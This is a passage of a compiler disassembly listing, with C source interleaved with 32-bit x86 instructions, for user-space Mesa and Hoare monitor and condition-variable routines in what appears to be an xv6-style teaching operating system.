ab5: c9 leave
ab6: c3 ret
00000ab7 <mesa_slots_monitor_stopadding>:
int mesa_slots_monitor_stopadding(mesa_slots_monitor_t* monitor){
ab7: 55 push %ebp
ab8: 89 e5 mov %esp,%ebp
aba: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
abd: 8b 45 08 mov 0x8(%ebp),%eax
ac0: 8b 40 10 mov 0x10(%eax),%eax
ac3: 85 c0 test %eax,%eax
ac5: 75 07 jne ace <mesa_slots_monitor_stopadding+0x17>
return -1;
ac7: b8 ff ff ff ff mov $0xffffffff,%eax
acc: eb 35 jmp b03 <mesa_slots_monitor_stopadding+0x4c>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
ace: 8b 45 08 mov 0x8(%ebp),%eax
ad1: 8b 00 mov (%eax),%eax
ad3: 89 04 24 mov %eax,(%esp)
ad6: e8 ec f8 ff ff call 3c7 <kthread_mutex_lock>
adb: 83 f8 ff cmp $0xffffffff,%eax
ade: 7d 07 jge ae7 <mesa_slots_monitor_stopadding+0x30>
return -1;
ae0: b8 ff ff ff ff mov $0xffffffff,%eax
ae5: eb 1c jmp b03 <mesa_slots_monitor_stopadding+0x4c>
monitor->active = 0;
ae7: 8b 45 08 mov 0x8(%ebp),%eax
aea: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
kthread_mutex_unlock( monitor->Monitormutex );
af1: 8b 45 08 mov 0x8(%ebp),%eax
af4: 8b 00 mov (%eax),%eax
af6: 89 04 24 mov %eax,(%esp)
af9: e8 d1 f8 ff ff call 3cf <kthread_mutex_unlock>
return 0;
afe: b8 00 00 00 00 mov $0x0,%eax
}
b03: c9 leave
b04: c3 ret
00000b05 <hoare_slots_monitor_alloc>:
#include "stat.h"
#include "user.h"
hoare_slots_monitor_t* hoare_slots_monitor_alloc(){
b05: 55 push %ebp
b06: 89 e5 mov %esp,%ebp
b08: 83 ec 28 sub $0x28,%esp
int mutex= kthread_mutex_alloc() ;
b0b: e8 a7 f8 ff ff call 3b7 <kthread_mutex_alloc>
b10: 89 45 f4 mov %eax,-0xc(%ebp)
if( mutex < 0)
b13: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
b17: 79 0a jns b23 <hoare_slots_monitor_alloc+0x1e>
return 0;
b19: b8 00 00 00 00 mov $0x0,%eax
b1e: e9 8b 00 00 00 jmp bae <hoare_slots_monitor_alloc+0xa9>
struct hoare_cond * empty = hoare_cond_alloc();
b23: e8 68 02 00 00 call d90 <hoare_cond_alloc>
b28: 89 45 f0 mov %eax,-0x10(%ebp)
if (empty == 0){
b2b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
b2f: 75 12 jne b43 <hoare_slots_monitor_alloc+0x3e>
kthread_mutex_dealloc(mutex);
b31: 8b 45 f4 mov -0xc(%ebp),%eax
b34: 89 04 24 mov %eax,(%esp)
b37: e8 83 f8 ff ff call 3bf <kthread_mutex_dealloc>
return 0;
b3c: b8 00 00 00 00 mov $0x0,%eax
b41: eb 6b jmp bae <hoare_slots_monitor_alloc+0xa9>
}
hoare_cond_t * full = hoare_cond_alloc();
b43: e8 48 02 00 00 call d90 <hoare_cond_alloc>
b48: 89 45 ec mov %eax,-0x14(%ebp)
if (full == 0)
b4b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
b4f: 75 1d jne b6e <hoare_slots_monitor_alloc+0x69>
{
kthread_mutex_dealloc(mutex);
b51: 8b 45 f4 mov -0xc(%ebp),%eax
b54: 89 04 24 mov %eax,(%esp)
b57: e8 63 f8 ff ff call 3bf <kthread_mutex_dealloc>
hoare_cond_dealloc(empty);
b5c: 8b 45 f0 mov -0x10(%ebp),%eax
b5f: 89 04 24 mov %eax,(%esp)
b62: e8 6a 02 00 00 call dd1 <hoare_cond_dealloc>
return 0;
b67: b8 00 00 00 00 mov $0x0,%eax
b6c: eb 40 jmp bae <hoare_slots_monitor_alloc+0xa9>
}
hoare_slots_monitor_t * monitor= malloc (sizeof (hoare_slots_monitor_t));
b6e: c7 04 24 14 00 00 00 movl $0x14,(%esp)
b75: e8 31 fc ff ff call 7ab <malloc>
b7a: 89 45 e8 mov %eax,-0x18(%ebp)
monitor->empty= empty;
b7d: 8b 45 e8 mov -0x18(%ebp),%eax
b80: 8b 55 f0 mov -0x10(%ebp),%edx
b83: 89 50 04 mov %edx,0x4(%eax)
monitor->full= full;
b86: 8b 45 e8 mov -0x18(%ebp),%eax
b89: 8b 55 ec mov -0x14(%ebp),%edx
b8c: 89 50 08 mov %edx,0x8(%eax)
monitor->Monitormutex= mutex;
b8f: 8b 45 e8 mov -0x18(%ebp),%eax
b92: 8b 55 f4 mov -0xc(%ebp),%edx
b95: 89 10 mov %edx,(%eax)
monitor->slots=0;
b97: 8b 45 e8 mov -0x18(%ebp),%eax
b9a: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax)
monitor->active=1;
ba1: 8b 45 e8 mov -0x18(%ebp),%eax
ba4: c7 40 10 01 00 00 00 movl $0x1,0x10(%eax)
return monitor;
bab: 8b 45 e8 mov -0x18(%ebp),%eax
}
bae: c9 leave
baf: c3 ret
00000bb0 <hoare_slots_monitor_dealloc>:
int hoare_slots_monitor_dealloc(hoare_slots_monitor_t* monitor){
bb0: 55 push %ebp
bb1: 89 e5 mov %esp,%ebp
bb3: 83 ec 18 sub $0x18,%esp
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
bb6: 8b 45 08 mov 0x8(%ebp),%eax
bb9: 8b 00 mov (%eax),%eax
bbb: 89 04 24 mov %eax,(%esp)
bbe: e8 fc f7 ff ff call 3bf <kthread_mutex_dealloc>
bc3: 85 c0 test %eax,%eax
bc5: 78 2e js bf5 <hoare_slots_monitor_dealloc+0x45>
hoare_cond_alloc(monitor->empty)<0 ||
bc7: 8b 45 08 mov 0x8(%ebp),%eax
bca: 8b 40 04 mov 0x4(%eax),%eax
bcd: 89 04 24 mov %eax,(%esp)
bd0: e8 bb 01 00 00 call d90 <hoare_cond_alloc>
hoare_cond_alloc(monitor->full)<0
bd5: 8b 45 08 mov 0x8(%ebp),%eax
bd8: 8b 40 08 mov 0x8(%eax),%eax
bdb: 89 04 24 mov %eax,(%esp)
bde: e8 ad 01 00 00 call d90 <hoare_cond_alloc>
){
return -1;
}
free(monitor);
be3: 8b 45 08 mov 0x8(%ebp),%eax
be6: 89 04 24 mov %eax,(%esp)
be9: e8 84 fa ff ff call 672 <free>
return 0;
bee: b8 00 00 00 00 mov $0x0,%eax
bf3: eb 05 jmp bfa <hoare_slots_monitor_dealloc+0x4a>
if( kthread_mutex_dealloc(monitor->Monitormutex) < 0 ||
hoare_cond_alloc(monitor->empty)<0 ||
hoare_cond_alloc(monitor->full)<0
){
return -1;
bf5: b8 ff ff ff ff mov $0xffffffff,%eax
}
free(monitor);
return 0;
}
bfa: c9 leave
bfb: c3 ret
00000bfc <hoare_slots_monitor_addslots>:
int hoare_slots_monitor_addslots(hoare_slots_monitor_t* monitor,int n){
bfc: 55 push %ebp
bfd: 89 e5 mov %esp,%ebp
bff: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
c02: 8b 45 08 mov 0x8(%ebp),%eax
c05: 8b 40 10 mov 0x10(%eax),%eax
c08: 85 c0 test %eax,%eax
c0a: 75 0a jne c16 <hoare_slots_monitor_addslots+0x1a>
return -1;
c0c: b8 ff ff ff ff mov $0xffffffff,%eax
c11: e9 88 00 00 00 jmp c9e <hoare_slots_monitor_addslots+0xa2>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
c16: 8b 45 08 mov 0x8(%ebp),%eax
c19: 8b 00 mov (%eax),%eax
c1b: 89 04 24 mov %eax,(%esp)
c1e: e8 a4 f7 ff ff call 3c7 <kthread_mutex_lock>
c23: 83 f8 ff cmp $0xffffffff,%eax
c26: 7d 07 jge c2f <hoare_slots_monitor_addslots+0x33>
return -1;
c28: b8 ff ff ff ff mov $0xffffffff,%eax
c2d: eb 6f jmp c9e <hoare_slots_monitor_addslots+0xa2>
if ( monitor->active && monitor->slots > 0 )
c2f: 8b 45 08 mov 0x8(%ebp),%eax
c32: 8b 40 10 mov 0x10(%eax),%eax
c35: 85 c0 test %eax,%eax
c37: 74 21 je c5a <hoare_slots_monitor_addslots+0x5e>
c39: 8b 45 08 mov 0x8(%ebp),%eax
c3c: 8b 40 0c mov 0xc(%eax),%eax
c3f: 85 c0 test %eax,%eax
c41: 7e 17 jle c5a <hoare_slots_monitor_addslots+0x5e>
hoare_cond_wait( monitor->full, monitor->Monitormutex);
c43: 8b 45 08 mov 0x8(%ebp),%eax
c46: 8b 10 mov (%eax),%edx
c48: 8b 45 08 mov 0x8(%ebp),%eax
c4b: 8b 40 08 mov 0x8(%eax),%eax
c4e: 89 54 24 04 mov %edx,0x4(%esp)
c52: 89 04 24 mov %eax,(%esp)
c55: e8 c1 01 00 00 call e1b <hoare_cond_wait>
if ( monitor->active)
c5a: 8b 45 08 mov 0x8(%ebp),%eax
c5d: 8b 40 10 mov 0x10(%eax),%eax
c60: 85 c0 test %eax,%eax
c62: 74 11 je c75 <hoare_slots_monitor_addslots+0x79>
monitor->slots+= n;
c64: 8b 45 08 mov 0x8(%ebp),%eax
c67: 8b 50 0c mov 0xc(%eax),%edx
c6a: 8b 45 0c mov 0xc(%ebp),%eax
c6d: 01 c2 add %eax,%edx
c6f: 8b 45 08 mov 0x8(%ebp),%eax
c72: 89 50 0c mov %edx,0xc(%eax)
hoare_cond_signal(monitor->empty, monitor->Monitormutex );
c75: 8b 45 08 mov 0x8(%ebp),%eax
c78: 8b 10 mov (%eax),%edx
c7a: 8b 45 08 mov 0x8(%ebp),%eax
c7d: 8b 40 04 mov 0x4(%eax),%eax
c80: 89 54 24 04 mov %edx,0x4(%esp)
c84: 89 04 24 mov %eax,(%esp)
c87: e8 e6 01 00 00 call e72 <hoare_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
c8c: 8b 45 08 mov 0x8(%ebp),%eax
c8f: 8b 00 mov (%eax),%eax
c91: 89 04 24 mov %eax,(%esp)
c94: e8 36 f7 ff ff call 3cf <kthread_mutex_unlock>
return 1;
c99: b8 01 00 00 00 mov $0x1,%eax
}
c9e: c9 leave
c9f: c3 ret
00000ca0 <hoare_slots_monitor_takeslot>:
int hoare_slots_monitor_takeslot(hoare_slots_monitor_t* monitor){
ca0: 55 push %ebp
ca1: 89 e5 mov %esp,%ebp
ca3: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
ca6: 8b 45 08 mov 0x8(%ebp),%eax
ca9: 8b 40 10 mov 0x10(%eax),%eax
cac: 85 c0 test %eax,%eax
cae: 75 0a jne cba <hoare_slots_monitor_takeslot+0x1a>
return -1;
cb0: b8 ff ff ff ff mov $0xffffffff,%eax
cb5: e9 86 00 00 00 jmp d40 <hoare_slots_monitor_takeslot+0xa0>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
cba: 8b 45 08 mov 0x8(%ebp),%eax
cbd: 8b 00 mov (%eax),%eax
cbf: 89 04 24 mov %eax,(%esp)
cc2: e8 00 f7 ff ff call 3c7 <kthread_mutex_lock>
cc7: 83 f8 ff cmp $0xffffffff,%eax
cca: 7d 07 jge cd3 <hoare_slots_monitor_takeslot+0x33>
return -1;
ccc: b8 ff ff ff ff mov $0xffffffff,%eax
cd1: eb 6d jmp d40 <hoare_slots_monitor_takeslot+0xa0>
if ( monitor->active && monitor->slots == 0 )
cd3: 8b 45 08 mov 0x8(%ebp),%eax
cd6: 8b 40 10 mov 0x10(%eax),%eax
cd9: 85 c0 test %eax,%eax
cdb: 74 21 je cfe <hoare_slots_monitor_takeslot+0x5e>
cdd: 8b 45 08 mov 0x8(%ebp),%eax
ce0: 8b 40 0c mov 0xc(%eax),%eax
ce3: 85 c0 test %eax,%eax
ce5: 75 17 jne cfe <hoare_slots_monitor_takeslot+0x5e>
hoare_cond_wait( monitor->empty, monitor->Monitormutex);
ce7: 8b 45 08 mov 0x8(%ebp),%eax
cea: 8b 10 mov (%eax),%edx
cec: 8b 45 08 mov 0x8(%ebp),%eax
cef: 8b 40 04 mov 0x4(%eax),%eax
cf2: 89 54 24 04 mov %edx,0x4(%esp)
cf6: 89 04 24 mov %eax,(%esp)
cf9: e8 1d 01 00 00 call e1b <hoare_cond_wait>
if ( monitor->active)
cfe: 8b 45 08 mov 0x8(%ebp),%eax
d01: 8b 40 10 mov 0x10(%eax),%eax
d04: 85 c0 test %eax,%eax
d06: 74 0f je d17 <hoare_slots_monitor_takeslot+0x77>
monitor->slots--;
d08: 8b 45 08 mov 0x8(%ebp),%eax
d0b: 8b 40 0c mov 0xc(%eax),%eax
d0e: 8d 50 ff lea -0x1(%eax),%edx
d11: 8b 45 08 mov 0x8(%ebp),%eax
d14: 89 50 0c mov %edx,0xc(%eax)
hoare_cond_signal(monitor->full, monitor->Monitormutex );
d17: 8b 45 08 mov 0x8(%ebp),%eax
d1a: 8b 10 mov (%eax),%edx
d1c: 8b 45 08 mov 0x8(%ebp),%eax
d1f: 8b 40 08 mov 0x8(%eax),%eax
d22: 89 54 24 04 mov %edx,0x4(%esp)
d26: 89 04 24 mov %eax,(%esp)
d29: e8 44 01 00 00 call e72 <hoare_cond_signal>
kthread_mutex_unlock( monitor->Monitormutex );
d2e: 8b 45 08 mov 0x8(%ebp),%eax
d31: 8b 00 mov (%eax),%eax
d33: 89 04 24 mov %eax,(%esp)
d36: e8 94 f6 ff ff call 3cf <kthread_mutex_unlock>
return 1;
d3b: b8 01 00 00 00 mov $0x1,%eax
}
d40: c9 leave
d41: c3 ret
00000d42 <hoare_slots_monitor_stopadding>:
int hoare_slots_monitor_stopadding(hoare_slots_monitor_t* monitor){
d42: 55 push %ebp
d43: 89 e5 mov %esp,%ebp
d45: 83 ec 18 sub $0x18,%esp
if (!monitor->active)
d48: 8b 45 08 mov 0x8(%ebp),%eax
d4b: 8b 40 10 mov 0x10(%eax),%eax
d4e: 85 c0 test %eax,%eax
d50: 75 07 jne d59 <hoare_slots_monitor_stopadding+0x17>
return -1;
d52: b8 ff ff ff ff mov $0xffffffff,%eax
d57: eb 35 jmp d8e <hoare_slots_monitor_stopadding+0x4c>
if (kthread_mutex_lock( monitor->Monitormutex)< -1)
d59: 8b 45 08 mov 0x8(%ebp),%eax
d5c: 8b 00 mov (%eax),%eax
d5e: 89 04 24 mov %eax,(%esp)
d61: e8 61 f6 ff ff call 3c7 <kthread_mutex_lock>
d66: 83 f8 ff cmp $0xffffffff,%eax
d69: 7d 07 jge d72 <hoare_slots_monitor_stopadding+0x30>
return -1;
d6b: b8 ff ff ff ff mov $0xffffffff,%eax
d70: eb 1c jmp d8e <hoare_slots_monitor_stopadding+0x4c>
monitor->active = 0;
d72: 8b 45 08 mov 0x8(%ebp),%eax
d75: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax)
kthread_mutex_unlock( monitor->Monitormutex );
d7c: 8b 45 08 mov 0x8(%ebp),%eax
d7f: 8b 00 mov (%eax),%eax
d81: 89 04 24 mov %eax,(%esp)
d84: e8 46 f6 ff ff call 3cf <kthread_mutex_unlock>
return 0;
d89: b8 00 00 00 00 mov $0x0,%eax
}
d8e: c9 leave
d8f: c3 ret
00000d90 <hoare_cond_alloc>:
#include "types.h"
#include "stat.h"
#include "user.h"
hoare_cond_t* hoare_cond_alloc(){
d90: 55 push %ebp
d91: 89 e5 mov %esp,%ebp
d93: 83 ec 28 sub $0x28,%esp
int cvMutex= kthread_mutex_alloc();
d96: e8 1c f6 ff ff call 3b7 <kthread_mutex_alloc>
d9b: 89 45 f4 mov %eax,-0xc(%ebp)
if (cvMutex<0)
d9e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
da2: 79 07 jns dab <hoare_cond_alloc+0x1b>
return 0;
da4: b8 00 00 00 00 mov $0x0,%eax
da9: eb 24 jmp dcf <hoare_cond_alloc+0x3f>
hoare_cond_t *hcond = malloc( sizeof (hoare_cond_t)) ;
dab: c7 04 24 08 00 00 00 movl $0x8,(%esp)
db2: e8 f4 f9 ff ff call 7ab <malloc>
db7: 89 45 f0 mov %eax,-0x10(%ebp)
hcond->mutexCV=cvMutex;
dba: 8b 45 f0 mov -0x10(%ebp),%eax
dbd: 8b 55 f4 mov -0xc(%ebp),%edx
dc0: 89 10 mov %edx,(%eax)
hcond->waitinCount=0;
dc2: 8b 45 f0 mov -0x10(%ebp),%eax
dc5: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
return hcond;
dcc: 8b 45 f0 mov -0x10(%ebp),%eax
}
dcf: c9 leave
dd0: c3 ret
00000dd1 <hoare_cond_dealloc>:
int hoare_cond_dealloc(hoare_cond_t* hCond){
dd1: 55 push %ebp
dd2: 89 e5 mov %esp,%ebp
dd4: 83 ec 18 sub $0x18,%esp
if (!hCond ){
dd7: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
ddb: 75 07 jne de4 <hoare_cond_dealloc+0x13>
return -1;
ddd: b8 ff ff ff ff mov $0xffffffff,%eax
de2: eb 35 jmp e19 <hoare_cond_dealloc+0x48>
}
kthread_mutex_unlock(hCond->mutexCV);
de4: 8b 45 08 mov 0x8(%ebp),%eax
de7: 8b 00 mov (%eax),%eax
de9: 89 04 24 mov %eax,(%esp)
dec: e8 de f5 ff ff call 3cf <kthread_mutex_unlock>
if( kthread_mutex_dealloc(hCond->mutexCV) <0)
df1: 8b 45 08 mov 0x8(%ebp),%eax
df4: 8b 00 mov (%eax),%eax
df6: 89 04 24 mov %eax,(%esp)
df9: e8 c1 f5 ff ff call 3bf <kthread_mutex_dealloc>
dfe: 85 c0 test %eax,%eax
e00: 79 07 jns e09 <hoare_cond_dealloc+0x38>
return -1;
e02: b8 ff ff ff ff mov $0xffffffff,%eax
e07: eb 10 jmp e19 <hoare_cond_dealloc+0x48>
free (hCond);
e09: 8b 45 08 mov 0x8(%ebp),%eax
e0c: 89 04 24 mov %eax,(%esp)
e0f: e8 5e f8 ff ff call 672 <free>
return 0;
e14: b8 00 00 00 00 mov $0x0,%eax
}
e19: c9 leave
e1a: c3 ret
00000e1b <hoare_cond_wait>:
int hoare_cond_wait(hoare_cond_t* hCond, int mutex_id){
e1b: 55 push %ebp
e1c: 89 e5 mov %esp,%ebp
e1e: 83 ec 18 sub $0x18,%esp
if (!hCond){
e21: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
e25: 75 07 jne e2e <hoare_cond_wait+0x13>
return -1;
e27: b8 ff ff ff ff mov $0xffffffff,%eax
e2c: eb 42 jmp e70 <hoare_cond_wait+0x55>
}
hCond->waitinCount++;
e2e: 8b 45 08 mov 0x8(%ebp),%eax
e31: 8b 40 04 mov 0x4(%eax),%eax
e34: 8d 50 01 lea 0x1(%eax),%edx
e37: 8b 45 08 mov 0x8(%ebp),%eax
e3a: 89 50 04 mov %edx,0x4(%eax)
if ( kthread_mutex_yieldlock(mutex_id, hCond->mutexCV)<0)
e3d: 8b 45 08 mov 0x8(%ebp),%eax
e40: 8b 00 mov (%eax),%eax
e42: 89 44 24 04 mov %eax,0x4(%esp)
e46: 8b 45 0c mov 0xc(%ebp),%eax
e49: 89 04 24 mov %eax,(%esp)
e4c: e8 86 f5 ff ff call 3d7 <kthread_mutex_yieldlock>
e51: 85 c0 test %eax,%eax
e53: 79 16 jns e6b <hoare_cond_wait+0x50>
{
hCond->waitinCount--;
e55: 8b 45 08 mov 0x8(%ebp),%eax
e58: 8b 40 04 mov 0x4(%eax),%eax
e5b: 8d 50 ff lea -0x1(%eax),%edx
e5e: 8b 45 08 mov 0x8(%ebp),%eax
e61: 89 50 04 mov %edx,0x4(%eax)
return -1;
e64: b8 ff ff ff ff mov $0xffffffff,%eax
e69: eb 05 jmp e70 <hoare_cond_wait+0x55>
}
return 0;
e6b: b8 00 00 00 00 mov $0x0,%eax
}
e70: c9 leave
e71: c3 ret
00000e72 <hoare_cond_signal>:
int hoare_cond_signal(hoare_cond_t* hCond, int mutex_id)
{
e72: 55 push %ebp
e73: 89 e5 mov %esp,%ebp
e75: 83 ec 18 sub $0x18,%esp
if (!hCond){
e78: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
e7c: 75 07 jne e85 <hoare_cond_signal+0x13>
return -1;
e7e: b8 ff ff ff ff mov $0xffffffff,%eax
e83: eb 6b jmp ef0 <hoare_cond_signal+0x7e>
}
if ( hCond->waitinCount >0){
e85: 8b 45 08 mov 0x8(%ebp),%eax
e88: 8b 40 04 mov 0x4(%eax),%eax
e8b: 85 c0 test %eax,%eax
e8d: 7e 3d jle ecc <hoare_cond_signal+0x5a>
hCond->waitinCount--;
e8f: 8b 45 08 mov 0x8(%ebp),%eax
e92: 8b 40 04 mov 0x4(%eax),%eax
e95: 8d 50 ff lea -0x1(%eax),%edx
e98: 8b 45 08 mov 0x8(%ebp),%eax
e9b: 89 50 04 mov %edx,0x4(%eax)
if (kthread_mutex_yieldlock(mutex_id, hCond->mutexCV)<0){
e9e: 8b 45 08 mov 0x8(%ebp),%eax
ea1: 8b 00 mov (%eax),%eax
ea3: 89 44 24 04 mov %eax,0x4(%esp)
ea7: 8b 45 0c mov 0xc(%ebp),%eax
eaa: 89 04 24 mov %eax,(%esp)
ead: e8 25 f5 ff ff call 3d7 <kthread_mutex_yieldlock>
eb2: 85 c0 test %eax,%eax
eb4: 79 16 jns ecc <hoare_cond_signal+0x5a>
hCond->waitinCount++;
eb6: 8b 45 08 mov 0x8(%ebp),%eax
eb9: 8b 40 04 mov 0x4(%eax),%eax
ebc: 8d 50 01 lea 0x1(%eax),%edx
ebf: 8b 45 08 mov 0x8(%ebp),%eax
ec2: 89 50 04 mov %edx,0x4(%eax)
return -1;
ec5: b8 ff ff ff ff mov $0xffffffff,%eax
eca: eb 24 jmp ef0 <hoare_cond_signal+0x7e>
}
}
if (kthread_mutex_yieldlock(mutex_id, hCond->mutexCV)<0){
ecc: 8b 45 08 mov 0x8(%ebp),%eax
ecf: 8b 00 mov (%eax),%eax
ed1: 89 44 24 04 mov %eax,0x4(%esp)
ed5: 8b 45 0c mov 0xc(%ebp),%eax
ed8: 89 04 24 mov %eax,(%esp)
edb: e8 f7 f4 ff ff call 3d7 <kthread_mutex_yieldlock>
ee0: 85 c0 test %eax,%eax
ee2: 79 07 jns eeb <hoare_cond_signal+0x79>
return -1;
ee4: b8 ff ff ff ff mov $0xffffffff,%eax
ee9: eb 05 jmp ef0 <hoare_cond_signal+0x7e>
}
return 0;
eeb: b8 00 00 00 00 mov $0x0,%eax
}
ef0: c9 leave
ef1: c3 ret
00000ef2 <mesa_cond_alloc>:
#include "mesa_cond.h"
#include "types.h"
#include "stat.h"
#include "user.h"
mesa_cond_t* mesa_cond_alloc(){
ef2: 55 push %ebp
ef3: 89 e5 mov %esp,%ebp
ef5: 83 ec 28 sub $0x28,%esp
int cvMutex= kthread_mutex_alloc();
ef8: e8 ba f4 ff ff call 3b7 <kthread_mutex_alloc>
efd: 89 45 f4 mov %eax,-0xc(%ebp)
if (cvMutex<0)
f00: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
f04: 79 07 jns f0d <mesa_cond_alloc+0x1b>
return 0;
f06: b8 00 00 00 00 mov $0x0,%eax
f0b: eb 24 jmp f31 <mesa_cond_alloc+0x3f>
mesa_cond_t *mcond = malloc( sizeof (mesa_cond_t)) ;
f0d: c7 04 24 08 00 00 00 movl $0x8,(%esp)
f14: e8 92 f8 ff ff call 7ab <malloc>
f19: 89 45 f0 mov %eax,-0x10(%ebp)
mcond->mutexCV=cvMutex;
f1c: 8b 45 f0 mov -0x10(%ebp),%eax
f1f: 8b 55 f4 mov -0xc(%ebp),%edx
f22: 89 10 mov %edx,(%eax)
mcond->waitinCount=0;
f24: 8b 45 f0 mov -0x10(%ebp),%eax
f27: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
return mcond;
f2e: 8b 45 f0 mov -0x10(%ebp),%eax
}
f31: c9 leave
f32: c3 ret
00000f33 <mesa_cond_dealloc>:
int mesa_cond_dealloc(mesa_cond_t* mCond){
f33: 55 push %ebp
f34: 89 e5 mov %esp,%ebp
f36: 83 ec 18 sub $0x18,%esp
if (!mCond ){
f39: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
f3d: 75 07 jne f46 <mesa_cond_dealloc+0x13>
return -1;
f3f: b8 ff ff ff ff mov $0xffffffff,%eax
f44: eb 35 jmp f7b <mesa_cond_dealloc+0x48>
}
kthread_mutex_unlock(mCond->mutexCV);
f46: 8b 45 08 mov 0x8(%ebp),%eax
f49: 8b 00 mov (%eax),%eax
f4b: 89 04 24 mov %eax,(%esp)
f4e: e8 7c f4 ff ff call 3cf <kthread_mutex_unlock>
if( kthread_mutex_dealloc(mCond->mutexCV) <0)
f53: 8b 45 08 mov 0x8(%ebp),%eax
f56: 8b 00 mov (%eax),%eax
f58: 89 04 24 mov %eax,(%esp)
f5b: e8 5f f4 ff ff call 3bf <kthread_mutex_dealloc>
f60: 85 c0 test %eax,%eax
f62: 79 07 jns f6b <mesa_cond_dealloc+0x38>
return -1;
f64: b8 ff ff ff ff mov $0xffffffff,%eax
f69: eb 10 jmp f7b <mesa_cond_dealloc+0x48>
free (mCond);
f6b: 8b 45 08 mov 0x8(%ebp),%eax
f6e: 89 04 24 mov %eax,(%esp)
f71: e8 fc f6 ff ff call 672 <free>
return 0;
f76: b8 00 00 00 00 mov $0x0,%eax
}
f7b: c9 leave
f7c: c3 ret
00000f7d <mesa_cond_wait>:
int mesa_cond_wait(mesa_cond_t* mCond,int mutex_id){
f7d: 55 push %ebp
f7e: 89 e5 mov %esp,%ebp
f80: 83 ec 18 sub $0x18,%esp
if (!mCond){
f83: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
f87: 75 07 jne f90 <mesa_cond_wait+0x13>
return -1;
f89: b8 ff ff ff ff mov $0xffffffff,%eax
f8e: eb 55 jmp fe5 <mesa_cond_wait+0x68>
}
mCond->waitinCount++;
f90: 8b 45 08 mov 0x8(%ebp),%eax
f93: 8b 40 04 mov 0x4(%eax),%eax
f96: 8d 50 01 lea 0x1(%eax),%edx
f99: 8b 45 08 mov 0x8(%ebp),%eax
f9c: 89 50 04 mov %edx,0x4(%eax)
if (kthread_mutex_unlock(mutex_id)<0 &&
f9f: 8b 45 0c mov 0xc(%ebp),%eax
fa2: 89 04 24 mov %eax,(%esp)
fa5: e8 25 f4 ff ff call 3cf <kthread_mutex_unlock>
faa: 85 c0 test %eax,%eax
fac: 79 27 jns fd5 <mesa_cond_wait+0x58>
kthread_mutex_lock(mCond->mutexCV)<0)
fae: 8b 45 08 mov 0x8(%ebp),%eax
fb1: 8b 00 mov (%eax),%eax
fb3: 89 04 24 mov %eax,(%esp)
fb6: e8 0c f4 ff ff call 3c7 <kthread_mutex_lock>
if (!mCond){
return -1;
}
mCond->waitinCount++;
if (kthread_mutex_unlock(mutex_id)<0 &&
fbb: 85 c0 test %eax,%eax
fbd: 79 16 jns fd5 <mesa_cond_wait+0x58>
kthread_mutex_lock(mCond->mutexCV)<0)
{
mCond->waitinCount--;
fbf: 8b 45 08 mov 0x8(%ebp),%eax
fc2: 8b 40 04 mov 0x4(%eax),%eax
fc5: 8d 50 ff lea -0x1(%eax),%edx
fc8: 8b 45 08 mov 0x8(%ebp),%eax
fcb: 89 50 04 mov %edx,0x4(%eax)
return -1;
fce: b8 ff ff ff ff mov $0xffffffff,%eax
fd3: eb 10 jmp fe5 <mesa_cond_wait+0x68>
}
kthread_mutex_lock(mutex_id);
fd5: 8b 45 0c mov 0xc(%ebp),%eax
fd8: 89 04 24 mov %eax,(%esp)
fdb: e8 e7 f3 ff ff call 3c7 <kthread_mutex_lock>
return 0;
fe0: b8 00 00 00 00 mov $0x0,%eax
}
fe5: c9 leave
fe6: c3 ret
00000fe7 <mesa_cond_signal>:
int mesa_cond_signal(mesa_cond_t* mCond){
fe7: 55 push %ebp
fe8: 89 e5 mov %esp,%ebp
fea: 83 ec 18 sub $0x18,%esp
if (!mCond){
fed: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
ff1: 75 07 jne ffa <mesa_cond_signal+0x13>
return -1;
ff3: b8 ff ff ff ff mov $0xffffffff,%eax
ff8: eb 5d jmp 1057 <mesa_cond_signal+0x70>
}
if (mCond->waitinCount>0){
ffa: 8b 45 08 mov 0x8(%ebp),%eax
ffd: 8b 40 04 mov 0x4(%eax),%eax
1000: 85 c0 test %eax,%eax
1002: 7e 36 jle 103a <mesa_cond_signal+0x53>
mCond->waitinCount --;
1004: 8b 45 08 mov 0x8(%ebp),%eax
1007: 8b 40 04 mov 0x4(%eax),%eax
100a: 8d 50 ff lea -0x1(%eax),%edx
100d: 8b 45 08 mov 0x8(%ebp),%eax
1010: 89 50 04 mov %edx,0x4(%eax)
if (kthread_mutex_unlock(mCond->mutexCV)>=0){
1013: 8b 45 08 mov 0x8(%ebp),%eax
1016: 8b 00 mov (%eax),%eax
1018: 89 04 24 mov %eax,(%esp)
101b: e8 af f3 ff ff call 3cf <kthread_mutex_unlock>
1020: 85 c0 test %eax,%eax
1022: 78 16 js 103a <mesa_cond_signal+0x53>
mCond->waitinCount ++;
1024: 8b 45 08 mov 0x8(%ebp),%eax
1027: 8b 40 04 mov 0x4(%eax),%eax
102a: 8d 50 01 lea 0x1(%eax),%edx
102d: 8b 45 08 mov 0x8(%ebp),%eax
1030: 89 50 04 mov %edx,0x4(%eax)
return -1;
1033: b8 ff ff ff ff mov $0xffffffff,%eax
1038: eb 1d jmp 1057 <mesa_cond_signal+0x70>
}
}
if (kthread_mutex_unlock(mCond->mutexCV)<0){
103a: 8b 45 08 mov 0x8(%ebp),%eax
103d: 8b 00 mov (%eax),%eax
103f: 89 04 24 mov %eax,(%esp)
1042: e8 88 f3 ff ff call 3cf <kthread_mutex_unlock>
